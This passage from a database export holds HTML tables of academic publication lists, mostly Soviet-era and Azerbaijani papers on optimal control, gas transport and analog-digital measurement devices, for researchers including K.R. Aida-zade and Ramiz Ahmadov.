1662.00122.01</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>7.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\">Система управления межпромысловым транспортом газа&nbsp;</p></td><td width=\"104\"><p style=\"background:undefined\">тезис</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Г.Г.Гасымов</strong></p><p style=\"background:undefined\"><strong>А.В.Хаджибекян</strong></p></td><td width=\"121\"><p style=\"background:undefined\">Республиканская школа семинар молодых ученых&nbsp; по прикладной математике и кибернетике, Баку, декабр, 1984 г.</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1984</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>8.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Анализ численных методов оптимального управления.</strong></p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p style=\"background:undefined\">Сб.ВУЗов Азерб.ССР “Краевые задачи и числен-ные методы оптимизации” Баку</p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1984</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>9.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>О минимизации среднеквадра-</strong></p><p style=\"background:undefined\"><strong>тичного критерия.</strong></p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p style=\"background:undefined\"><strong>Известия АН Азерб.ССР, сер. ФТМН, № 5, 1984</strong></p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1984</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>10</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Численные схемы решения</strong></p><p style=\"background:undefined\"><strong>задач оптимального управле-ния объектами с распреде-ленными параметрами.</strong></p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p><p style=\"background:undefined\"><strong>Ю.Г Евтушенко</strong></p></td><td width=\"121\"><p style=\"background:undefined\"><strong>Известия АН Азерб.ССР, сер.ФТМН,</strong></p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1985</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>№ 6 ,&nbsp;</strong>С. 106-112.<strong></strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>11</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Решение задачи о неустано-вившемся&nbsp; движении газа в трубопроводе</strong></p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p><p style=\"background:undefined\"><strong>Гасымов Г.Г.</strong></p></td><td width=\"121\"><p style=\"background:undefined\"><strong>Сб. “Численные методы механики деформирован-</strong></p><p style=\"background:undefined\"><strong>ных сред и оптимизации “ Деп. в ВИНИТИ ДНР</strong></p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1986</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>№6(176)</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>12</strong></p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Многомашинный комплекс</strong></p><p style=\"background:undefined\"><strong>ЭВМ ЕС-1045 - СМ - 2- Электроника -60</strong></p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p><p style=\"background:undefined\"><strong>Мамедов С.Н.</strong></p><p style=\"background:undefined\"><strong>Хандзель А.В.</strong></p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"121\"><p style=\"background:undefined\"><strong>“Информационный листок“ АзНИИНТИ Баку</strong></p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1987</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>№28</strong><strong></strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>13</strong></p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\">К решению задач опти -</p><p style=\"background:undefined\">мального управления&nbsp;&nbsp;&nbsp;</p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"121\"><p style=\"background:undefined\">Изв. АН Азерб. ССР, серия ФТМ&nbsp;&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1987</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>№</strong><strong>4</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>14</strong></p></td><td width=\"125\"><p style=\"background:undefined\">О решении одного класса</p><p style=\"background:undefined\">оптимизационных задач&nbsp;</p></td><td width=\"104\"><p style=\"background:undefined\">тезис</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>А.В.Хандзель</strong><strong></strong></p></td><td width=\"121\"><p style=\"background:undefined\">В тез. Док. 10-го Всесоюзного симп. \"Системы програм-много обеспечения решения задач оптимального управления \"&nbsp; (г. Нарва, 14-24 марта )</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1988</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>15</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Численный метод идентификации значений параметров подземной гидродинамики</strong></p></td><td width=\"104\"><p style=\"background:undefined\">тезис</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong><strong></strong></p></td><td width=\"121\"><p style=\"background:undefined\">Материалы Республ. конференции, посвящ.&nbsp; 80-летию акад.К.Т. Ахмедова Баку,</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1997</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>16</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>О системе управления техноло</strong></p><p style=\"background:undefined\"><strong>гическими процессами газодо-бывающего промысла в реаль-</strong></p><p style=\"background:undefined\"><strong>ном масштабе времени.</strong></p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Мамедов С.Н.</strong></p><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p><p style=\"background:undefined\"><strong>Хандзель А.В.</strong></p></td><td width=\"121\"><p style=\"background:undefined\"><strong>Известия АН Азербайджа-на, серия ФТМН</strong></p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1997</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>№ 1 - 3</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>17</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>О согласовании схем конечно-</strong></p><p style=\"background:undefined\"><strong>мерной аппроксимации крае-вых задач в оптимальном управлении</strong></p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p style=\"background:undefined\"><strong>Известия АН Азерб., сер. ФТМН,</strong><strong></strong></p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1998</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>№6</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>18</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Numerical Methods Solution of the Problem of Domain Boundary Optimization</strong></p></td><td width=\"104\"><p style=\"background:undefined\">тезис<strong></strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>A.B.Kerimov</strong></p><p style=\"background:undefined\"><strong>К</strong><strong>.R. Aida-zade</strong></p></td><td width=\"121\"><p style=\"background:undefined\"><strong>Second International Sympo-</strong></p><p style=\"background:undefined\"><strong>sium on Mathematical and Computational Applications, Baku</strong></p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1999</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>19</strong></p></td><td width=\"125\"><h1>Численное решение задачи оп-</h1><p style=\"background:undefined\"><strong>тимизации формы области</strong></p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>А.Б.Керимов</strong></p><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p style=\"background:undefined\"><strong>Известия НАН Азеррбайд-жана сер.ФТМН</strong></p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1999</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>№3-4</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>20</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Задача управления источниками в распределенных системах&nbsp; на классе кусочно-постоянных функций.</strong></p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>А.Б Керимов, С.Р.Мусаев</strong></p></td><td width=\"121\"><p style=\"background:undefined\">Известия НАН АР, серия физ.-тех. и мат. наук,</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>2001</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>№2</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>21</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Çoxnöqtəli sərhəd şərtli ortimal idarəetmə məsələlərinin bir həlli haqqında</strong></p></td><td width=\"104\"><p style=\"background:undefined\">тезис</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>V.M. Abdullayev</strong></p></td><td width=\"121\"><p style=\"background:undefined\">«Bütöv mühüt mexanikasının dinamiki məsələləri» mövzusunda xatirə-yubiley konfransı. 23-25 may 2002-ci il</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>2002</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>22</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>The visual analyzing and managing of physiological emotional condition using multimedia means</strong></p></td><td width=\"104\"><p style=\"background:undefined\">тезис<strong></strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>R.Ahmadov N.Sapharov</strong></p></td><td width=\"121\"><p style=\"background:undefined\">\"East-West-Vision 2002 International Workshop on Computer Vision, Computer Graphics, New Media\", Graze Austria, 11-12 September</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>2002</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>23</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Многоуровневая система распознавания рукописных форм</strong></p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined\">тезис</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Айда-заде К.Р., Э.Э.Мустафаев.</strong><strong></strong></p></td><td width=\"121\"><p style=\"background:undefined\">Доклады 11-й Всерос-сийской конференции «Математические методы распознавания образов», Москва, 2003</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>2003</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>с. 230-233.</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>24</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Distributed data processing in a personal insuarance accounts system: security and condidentality</strong></p></td><td width=\"104\"><p style=\"background:undefined\">тезис<strong></strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"121\"><p style=\"background:undefined\">\"The Fourth International Conference “IES- 2004” September 28-october-16</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>2004</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>p.417-419</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>25</strong></p></td><td width=\"125\"><p style=\"background:undefined\">The project of development of an automated information system on the base of the Azerbaijan State Oil Academy.&nbsp; (In Azerbaijan). Application of information technology in education.</p></td><td width=\"104\"><p style=\"background:undefined\">тезис</p></td><td width=\"125\"><p style=\"background:undefined\">R.T.Humbatov, K.R., Ajda-zade, O.M. Manafli,</p><p style=\"background:undefined\">S.H.Rzayeva<strong></strong></p></td><td width=\"121\"><p style=\"background:undefined\">Materials of the Republican Scientific Conference. Baku 22-23 May 2007.</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>2007</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>26</strong></p></td><td width=\"125\"><p style=\"background:undefined\">Project of creation system “electronic university”</p></td><td width=\"104\"><p style=\"background:undefined\">тезис<strong></strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Sona Rzayeva</strong><strong></strong></p></td><td width=\"121\"><p style=\"background:undefined\">The Materials of the International Conference “PCI- 2010” Baku, 8-10 September, 2010</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>2010</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr></tbody></table></div><br></div>'),(1296,829,'en','Ramiz Ahmadov','Ramiz Ahmadov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Устройство для автоматической периодической откачки жидкости из малодебитных глубиннонасосных нефтяных скважин</p></td><td width=\"102\"><p>&nbsp;</p><p>&nbsp;</p><p>статья</p></td><td width=\"84\"><p>Набиев И.А.</p><p>Рустамов Н.С.</p><p>Савин Ю.А.</p></td><td width=\"102\"><p>«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №4, 1972</p></td><td width=\"60\"><p>1972</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>К вопросу дискретизации процесса&nbsp; преоб-разования интегральных характеристик сигналов переменного тока произвольной формы</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №1, 1975</p></td><td width=\"60\"><p>1975</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Анализ методической погрешности преоб-разования интегральных характеристик периодических сигналов</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>«Ученые записки» АзИНЕФТЕХИМа,серия 1Х, №6, 1975</p></td><td width=\"60\"><p>1975</p></td><td width=\"60\"><p>6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Преобразователь действующего значения периодического напряжения в цифровой код</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Тезисы докладов Всесоюзной конференции «ИИС-75», т.2, Кишинев, 1975</p></td><td width=\"60\"><p>1975</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Аналого-цифровой преобразователь мощности и действующего значения переменного напряжения</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№499662, Бюллетень изобретений, №2, Москва, 1976</p><p>&nbsp;</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Функциональный аналого-цифровой преобразователь на интегральных микросхемах</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Приборы и техника эксперимента,</p><p>№2, АН СССР,&nbsp; Москва, 1976</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>A functional analog-digital converter based on integrated microcircuits</p></td><td width=\"102\"><p>article</p></td><td width=\"84\"><p>Abdullaev I.M.</p><p>Akhmedov R.M.</p></td><td width=\"102\"><p>Plenum Publishing Corporation, New</p><p>York, 1976</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Функциональный генератор &nbsp;автоматической установки для контрольных испытаний электродвигателей</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Техническая информация, серия «Энергетика и автоматика»</p><p>№ 12, 1977</p></td><td width=\"60\"><p>1977</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Разработка и исследование измерительных преобразователей интегральных характеристик сигналов переменного тока произвольной</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Мамедов Н.Я.</p><p>Эфендиев С.Т.</p></td><td width=\"102\"><p>&nbsp;</p><p>Тезисы докладов Всесоюзной конференции&nbsp; «ИИС-77», т.2, Баку, 1977</p></td><td width=\"60\"><p>1977</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Некоторые вопросы создания измерительных преобразователей сигналов переменного тока инфранизкой частоты</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>&nbsp;</p><p>Тезисы докладов 1 Закавказской конференции&nbsp; Молодых ученых и аспирантов «Разработка и внедрение АСУ ТП в цветной и черной металлургии , химической и др.отраслях промышленности», Диижан, 1977</p></td><td width=\"60\"><p>1977</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Исследование,разработка и изготовление образца быстродействующего регистри-рующего прибора для измерения напряжения, тока и мощности при кон-трольных испытаниях электродвигателей мощностью до 100 квт</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"84\"><p>Набиев И.А.</p><p>Абдуллаев И.М.</p><p>Абиев А.Н.</p></td><td width=\"102\"><p>Отчет НИР, № Гос.регистрации 77031917, Баку, 1976</p></td><td width=\"60\"><p>1976</p></td><td width=\"60\"><p>120</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Функциональный преобразователь</p><p>«напряжение-частота»</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>&nbsp;</p><p>Приборы и техника эксперимента,</p><p>№5, АН СССР, Москва, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Измерение коэффициента нелинейных искажений инфранизкочастотных сигналов для систем контроля параметров электронных устройств</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>В сб. «Системы контроля параметров электронных устройств», Киев, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Универсальный цифровой прибор для измерения параметров сигналов переменного тока</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p></td><td width=\"102\"><p>Тезисы докладов Всесоюзной конференции «Методы и средства аналого-цифрового преобразования параметров электрических сигналов и цепей», Пенза, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Принципы построения функциональных АЦП переменного тока инфранизкой частоты</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Тезисы докладов1 Республиканской научной конференции аспирантов вузов Азербайджана, Баку, 1978</p></td><td width=\"60\"><p>1978</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Об одном методе преобразования активной мощности в цифровой код</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Тезисы докладов П Республиканской научной конференции аспирантов&nbsp; вузов Азербайджана, Баку, 1979</p></td><td width=\"60\"><p>1979</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Сравнительный анализ характеристик некоторых структур интегрирующих АЦП переменного тока</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>Дадашева Ф.Ш.</p></td><td width=\"102\"><p>Тезисы докладов Всесоюзной конференции «ИИС-79», Ленинград,&nbsp; 1979</p></td><td width=\"60\"><p>1979</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Преобразователь активной мощности трехфазной электрической цепи в цифровой код</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p><p>Абиев А.Н.</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№855518, Бюллетень изобретений, №30, Москва, 1981</p><p>&nbsp;</p></td><td width=\"60\"><p>1981</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Аналого-цифровой преобразователь</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№894861, Бюллетень изобретений, №48, Москва,1981</p></td><td width=\"60\"><p>1981</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Анализ динамической погрешности аналого-цифрового преобразования мгновенных значений при измерении действующего значения напряжения инфранизких частот</p></td><td width=\"102\"><p>Материалы конференции</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Материалы Ш Республиканской научной конференции аспирантов вузов&nbsp; Азербайджана, Баку, 1981</p></td><td width=\"60\"><p>1981</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Методы и средства измерения переменного напряжения на инфранизких частотах</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Элементы автоматики и измерительные информационные системы. Тематический сб. научных трудов, Баку, 1982</p></td><td width=\"60\"><p>1982</p></td><td width=\"60\"><p>7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Вопросы построения автоматизированных информационно-измерительных систем контроля качества электроэнергии</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Метрология, стандартизация и управление качеством. Тематический сб.научных трудов, Баку, 1983</p></td><td width=\"60\"><p>1983</p></td><td width=\"60\"><p>6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Многофункциональное аналого-цифровое измерительное устройство</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>&nbsp;</p></td><td width=\"102\"><p>&nbsp;</p><p>Информационный листок, серия «Автоматика и приборостроение»,</p><p>№1, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Современное состояние и перспективы применения микро-ЭВМ и микро-процессоров в системах автоматического контроля и управления технологическими процессами</p></td><td width=\"102\"><p>Обзорный</p><p>материал</p></td><td width=\"84\"><p>Абдуллаев И.М.</p><p>Абдурагимов Ф.А.</p></td><td width=\"102\"><p>Обзорная информация, серия</p><p>«Автоматика и приборостроение»,</p><p>Баку, АзНИИНТИ, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>24</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Автоматическое измерение активной мощности в однофазной и трехфазной электрических цепях</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абиев А.Н.</p></td><td width=\"102\"><p>Межвузовский сб.научных трудов «Автоматизация экспериментальных исследований», Рязань, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>5</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Преобразователь активной мощности трехфазной электрической цепи в цифровой код</p></td><td width=\"102\"><p>патент</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p><p>Абдуллаев И.М.</p><p>&nbsp;</p></td><td width=\"102\"><p>Авторское свидетельство СССР,</p><p>№1150569, Бюллетень изобретений, №14, Москва, 1985</p><p>&nbsp;</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Автоматизированная информационно-измерительная система контроля качества погружных электродвигателей</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>«Приборы,средства автоматизации и системы управления» вып.5,Москва, НИИТЭИприборостроения, 1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Выбор рациональной совокупности контро-лируемых&nbsp; параметров при построении одного класса систем автоматического контроля</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Интегрированные системы управления и переработки информации Тематический сб. научных трудов, Баку,1985</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>6</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Определение погрешности от квантования во времени при преобразовании энергетических параметров&nbsp; электрических сигналов</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Оруджева А.А.</p></td><td width=\"102\"><p>Республиканская научная конференция «Электронные средства в промышленности». Тезисы докладов, Баку, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Об одном методе&nbsp; аналого-цифрового преобразования действующего значения переменного напряжения</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Мамедова Л.Т.</p></td><td width=\"102\"><p>Республиканская научная конференция «Электронные средства в промышленности». Тезисы докладов, Баку, 1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Применение интегрирующих частотно-временных преобразователей для построения цифровых измерителей активной мощности</p></td><td width=\"102\"><p>тезис</p></td><td width=\"84\"><p>Исмаилов Ш.Ю.</p></td><td width=\"102\"><p>Интегрирующие частотные время-импульсные преобразователи и цифровые средства измерения на их основе. Тезисы докладов, Пенза,1987</p></td><td width=\"60\"><p>1987</p></td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>&nbsp;</p><p>Современное состояние и перспективы развития систем автоматического контроля электрических параметров 